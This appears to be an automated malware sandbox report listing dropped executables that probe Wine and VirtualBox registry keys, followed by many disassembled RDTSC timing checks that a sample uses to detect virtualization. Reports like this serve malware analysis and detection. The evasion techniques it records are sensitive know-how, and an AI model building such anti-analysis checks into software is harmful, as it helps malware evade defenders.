Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDAC48 second address: DDAC4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB363 second address: DCB367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB367 second address: DCB377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jo 00007F6BC918D026h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9E1E second address: DD9E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9FBA second address: DD9FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9FC0 second address: DD9FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9FC6 second address: DD9FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA10C second address: DDA119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6BC92F1686h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA119 second address: DDA139 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BC918D02Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007F6BC918D026h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA3D8 second address: DDA3E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6BC92F1686h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE0C7 second address: DDE0D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6BC918D02Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE23F second address: DDE261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F168Fh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jno 00007F6BC92F1686h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE2B0 second address: DDE2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE2B7 second address: DDE2C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE2C4 second address: DDE39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D034h 0x00000009 popad 0x0000000a pop eax 0x0000000b nop 0x0000000c and edi, 3479AA29h 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 add edx, dword ptr [ebp+122D3A1Bh] 0x0000001b popad 0x0000001c jmp 00007F6BC918D02Eh 0x00000021 push 6D4CAC8Fh 0x00000026 push edx 0x00000027 jg 00007F6BC918D036h 0x0000002d pop edx 0x0000002e xor dword ptr [esp], 6D4CAC0Fh 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F6BC918D028h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f push 00000003h 0x00000051 push 00000000h 0x00000053 add dword ptr [ebp+122D1CB9h], esi 0x00000059 push 00000003h 0x0000005b xor dword ptr [ebp+122D20C8h], edx 0x00000061 push 793D921Bh 0x00000066 ja 00007F6BC918D040h 0x0000006c add dword ptr [esp], 46C26DE5h 0x00000073 je 00007F6BC918D02Ch 0x00000079 mov edi, dword ptr [ebp+122D3D07h] 0x0000007f lea ebx, dword ptr [ebp+12452015h] 0x00000085 xor edi, 7B96EC58h 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e push ecx 0x0000008f push ecx 0x00000090 pop ecx 0x00000091 pop ecx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE5F7 second address: DDE609 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF607 second address: DFF624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F6BC918D038h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD3AC1 second address: DD3AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD934 second address: DFD93A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD93A second address: DFD93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD93E second address: DFD944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD944 second address: DFD950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6BC92F1686h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD950 second address: DFD956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDD6E second address: DFDD84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jne 00007F6BC92F1686h 0x0000000f jnp 00007F6BC92F1686h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE165 second address: DFE16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE52B second address: DFE534 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE534 second address: DFE543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jl 00007F6BC918D026h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE543 second address: DFE549 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE69B second address: DFE6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6A2 second address: DFE6AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F6BC92F1686h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6AE second address: DFE6CA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BC918D026h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F6BC918D028h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6CA second address: DFE6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6D0 second address: DFE6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6D4 second address: DFE6DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6DA second address: DFE6E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE6E0 second address: DFE6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFECEA second address: DFECEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFECEE second address: DFECFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F6BC92F168Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFEE87 second address: DFEEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F6BC918D033h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFEEA4 second address: DFEEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFEEA8 second address: DFEEAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF023 second address: DFF031 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push ecx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05495 second address: E0549A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0549A second address: E054A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E054A0 second address: E054A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05616 second address: E0562F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F1694h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0562F second address: E05690 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D034h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F6BC918D03Dh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 pushad 0x00000016 ja 00007F6BC918D026h 0x0000001c jmp 00007F6BC918D039h 0x00000021 popad 0x00000022 pushad 0x00000023 push esi 0x00000024 pop esi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03FA5 second address: E03FAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04743 second address: E04747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A43A second address: E0A440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A70D second address: E0A730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F6BC918D036h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A730 second address: E0A73B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F6BC92F1686h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CDE9 second address: E0CE35 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b push eax 0x0000000c jmp 00007F6BC918D037h 0x00000011 pop eax 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F6BC918D037h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 je 00007F6BC918D026h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CE35 second address: E0CE39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CE39 second address: E0CE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CE3F second address: E0CE44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CF92 second address: E0CF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D1FA second address: E0D1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D1FE second address: E0D202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D202 second address: E0D20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D54E second address: E0D552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D9A7 second address: E0D9B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BC92F168Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D9B9 second address: E0D9BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DBD4 second address: E0DBE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F6BC92F1694h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DBE7 second address: E0DBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DCE0 second address: E0DCE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DF1D second address: E0DF2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DF2C second address: E0DF42 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6BC92F168Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DF42 second address: E0DF46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DFD9 second address: E0DFF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1690h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DFF1 second address: E0DFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E496 second address: E0E4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F1696h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F6BC92F1686h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10016 second address: E1001C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F777 second address: E0F78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F168Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1001C second address: E10026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6BC918D026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F78A second address: E0F78F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10B64 second address: E10B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D036h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10B7E second address: E10B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10B84 second address: E10C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007F6BC918D03Fh 0x0000000f nop 0x00000010 jmp 00007F6BC918D032h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F6BC918D028h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2A7Dh], ecx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F6BC918D028h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov esi, 57D0A525h 0x00000058 push ecx 0x00000059 or edi, dword ptr [ebp+122D3C3Bh] 0x0000005f pop esi 0x00000060 xchg eax, ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jnp 00007F6BC918D026h 0x0000006a pushad 0x0000006b popad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E115F1 second address: E115F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E115F9 second address: E115FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E115FD second address: E1166C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F6BC92F1688h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F6BC92F1688h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e push ebx 0x0000003f jne 00007F6BC92F168Ch 0x00000045 pop edi 0x00000046 mov edi, dword ptr [ebp+122D27FBh] 0x0000004c push 00000000h 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 je 00007F6BC92F168Ch 0x00000057 je 00007F6BC92F1686h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1214F second address: E121CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F6BC918D026h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6BC918D02Fh 0x00000012 nop 0x00000013 push edx 0x00000014 mov dword ptr [ebp+1244F0DBh], edi 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F6BC918D028h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 sbb si, D340h 0x0000003c push 00000000h 0x0000003e movzx edi, di 0x00000041 xchg eax, ebx 0x00000042 jbe 00007F6BC918D040h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jnl 00007F6BC918D026h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E121CA second address: E121CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
